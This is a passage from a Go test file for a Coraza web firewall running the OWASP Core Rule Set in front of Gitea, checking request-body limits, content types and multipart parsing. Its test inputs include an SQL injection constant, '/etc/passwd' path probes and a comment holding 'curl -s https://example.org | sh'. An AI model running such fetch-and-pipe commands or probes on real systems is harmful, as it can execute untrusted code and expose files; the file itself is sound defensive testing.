return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
|
|
value + "\r\n"
|
|
}
|
|
|
|
// end ends a multipart body.
|
|
const end = "--b--\r\n"
|
|
|
|
// padded returns head and tail with as many a's between them as make n
|
|
// bytes in all.
|
|
func padded(head, tail string, n int) string {
|
|
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
|
|
}
|
|
|
|
// wantBody checks what crs finds in r with body, and that what it read of
|
|
// body is read.
|
|
func wantBody(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
|
|
want coreruleset.Result,
|
|
read string,
|
|
) {
|
|
t.Helper()
|
|
|
|
got, gotRead := inspectBody(t, crs, r, body)
|
|
if !reflect.DeepEqual(got, want) || gotRead != read {
|
|
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
|
|
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
|
|
want, len(read))
|
|
}
|
|
}
|
|
|
|
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
off, on := atDefaults(t), readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, "q=" + url.QueryEscape(injection)},
|
|
{multipart, field("q", injection) + end},
|
|
{jsonBody, `{"q":"` + injection + `"}`},
|
|
{xmlBody, "<q>" + injection + "</q>"},
|
|
} {
|
|
wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "")
|
|
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
|
|
}
|
|
}
|
|
|
|
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
pad := strings.Repeat("a", bodyLimit)
|
|
|
|
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
|
{
|
|
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
|
|
"pad=" + pad + "&q=" + url.QueryEscape(injection),
|
|
},
|
|
{
|
|
multipart, field("q", injection) + field("pad", pad) + end,
|
|
field("pad", pad) + field("q", injection) + end,
|
|
},
|
|
} {
|
|
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
|
tc.attackFirst[:bodyLimit+1])
|
|
wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{},
|
|
tc.attackLast[:bodyLimit+1])
|
|
}
|
|
|
|
// To the byte: a system file's path is found when it ends at the limit,
|
|
// and not when its last letter is past it, which is still read.
|
|
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
|
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
|
|
|
|
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
|
wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit)
|
|
}
|
|
|
|
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, head, tail string }{
|
|
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
|
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
|
} {
|
|
fits := padded(tc.head, tc.tail, bodyLimit)
|
|
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
|
|
|
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
|
wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger)
|
|
}
|
|
}
|
|
|
|
func TestOtherBodiesAreNotRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// Read as form data, which the Core Rule Set does with a body of a type
|
|
// it does not know, this would be an SQL injection.
|
|
body := "q=" + url.QueryEscape(injection)
|
|
|
|
for _, header := range []string{
|
|
"Content-Type: application/octet-stream",
|
|
"Content-Type: text/plain",
|
|
"Content-Type: application/x-git-receive-pack-request",
|
|
} {
|
|
wantBody(t, crs, post(header), body, coreruleset.Result{}, "")
|
|
}
|
|
}
|
|
|
|
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const gzip = "Content-Encoding: gzip"
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, "a=1"},
|
|
{multipart, field("a", "1") + end},
|
|
{jsonBody, `{"a":1}`},
|
|
{xmlBody, "<a>1</a>"},
|
|
} {
|
|
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
|
|
}
|
|
|
|
// Whatever its size: a JSON body larger than the limit is not read, but
|
|
// Content-Encoding on it is refused all the same.
|
|
larger := strings.Repeat("a", bodyLimit+1)
|
|
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
|
|
|
// It is allowed on a body of any other kind, and on every body while no
|
|
// body is read.
|
|
fetch := "Content-Type: application/x-git-upload-pack-request"
|
|
wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "")
|
|
wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "")
|
|
}
|
|
|
|
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
local := url.QueryEscape("http://127.0.0.1:52341/")
|
|
|
|
for _, tc := range []struct {
|
|
body string
|
|
want coreruleset.Result
|
|
}{
|
|
{"path=.gitignore", coreruleset.Result{}},
|
|
{"q=.gitignore", matched(930120)},
|
|
{"redirect_uri=" + local, coreruleset.Result{}},
|
|
{"next=" + local, matched(931100, 934110)},
|
|
} {
|
|
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
|
|
}
|
|
|
|
body := field("path", ".gitignore") + end
|
|
wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body)
|
|
|
|
body = field("q", ".gitignore") + end
|
|
wantBody(t, crs, post(multipart), body, matched(930120), body)
|
|
|
|
// A JSON body's field is named by its path, here json.path, and is
|
|
// checked.
|
|
body = `{"path":".gitignore"}`
|
|
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
|
|
}
|
|
|
|
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A comment that shows a shell command.
|
|
const text = "Try `curl -s https://example.org | sh` first."
|
|
|
|
comment := "content=" + url.QueryEscape(text)
|
|
wantBody(t, crs, post(formData), comment, matched(932235), comment)
|
|
|
|
// An attachment named like a log file.
|
|
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
|
|
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
|
|
}
|
|
|
|
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, tc := range []struct{ contentType, body string }{
|
|
{"application/atom+xml", "<q>" + injection + "</q>"},
|
|
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
|
|
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
|
|
{"text/json", `{"q":"` + injection + `"}`},
|
|
} {
|
|
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
|
|
matched(942100), tc.body)
|
|
}
|
|
}
|
|
|
|
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// An end tag after the root element, past which Coraza reads none of
|
|
// the body, while an app may still read the attack before it.
|
|
body := "<q>" + injection + "</q></r>"
|
|
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
|
|
|
|
// The multipart bodies Coraza cannot parse fail its strict checks too:
|
|
// one whose type names its boundary twice, and one with a part header
|
|
// that has no colon, before the attack. They do so padded past the
|
|
// limit too, which cuts them in the padding.
|
|
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
|
pad := field("pad", strings.Repeat("a", bodyLimit))
|
|
|
|
for _, tc := range []struct{ header, head string }{
|
|
{multipart + "; boundary=c", ""},
|
|
{multipart, noColon},
|
|
} {
|
|
body = tc.head + field("q", injection) + end
|
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
|
|
|
|
body = tc.head + field("q", injection) + pad + end
|
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
|
body[:bodyLimit+1])
|
|
}
|
|
}
|
|
|
|
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The limit falls in the middle of the name of the second part's
|
|
// header, which Coraza, reading up to the limit, cannot tell from a
|
|
// header without a colon.
|
|
cut := "--b\r\nContent-Di"
|
|
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
|
|
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
|
|
|
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
|
|
body[:bodyLimit+1])
|
|
}
|
|
|
|
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
|
|
|
|
// The limit falls between the carriage return and the line feed that
|
|
// end the second part's header line, and then between those that end
|
|
// the empty line after it. Coraza, reading up to the limit, takes the
|
|
// line ending in a lone carriage return for a malformed header.
|
|
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
|
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
|
|
body := first + field("q", "1") + end
|
|
|
|
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
|
body[:bodyLimit+1])
|
|
}
|
|
}
|
|
|
|
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
|
|
// system's temporary directory, for the whole test process.
|
|
func TestCorazaWritesNoFile(t *testing.T) {
|
|
// The system's temporary directory is one that does not exist, so that
|
|
// Coraza could write nothing there: built without no_fs_access, it
|
|
// refuses to load, and could not write a file of a multipart body.
|
|
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
|
|
|
|
// The test loads its own Core Rule Set, since loading is part of what
|
|
// it checks.
|
|
crs, err := coreruleset.New(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
})
|
|
if err != nil {
|
|
t.Fatalf("load the Core Rule Set: %v", err)
|
|
}
|
|
|
|
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
|
|
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
|
|
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
|
}
|
|
|
|
func TestBodyLimitOf1GLoads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
|
|
if err != nil {
|
|
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
|
}
|
|
}
|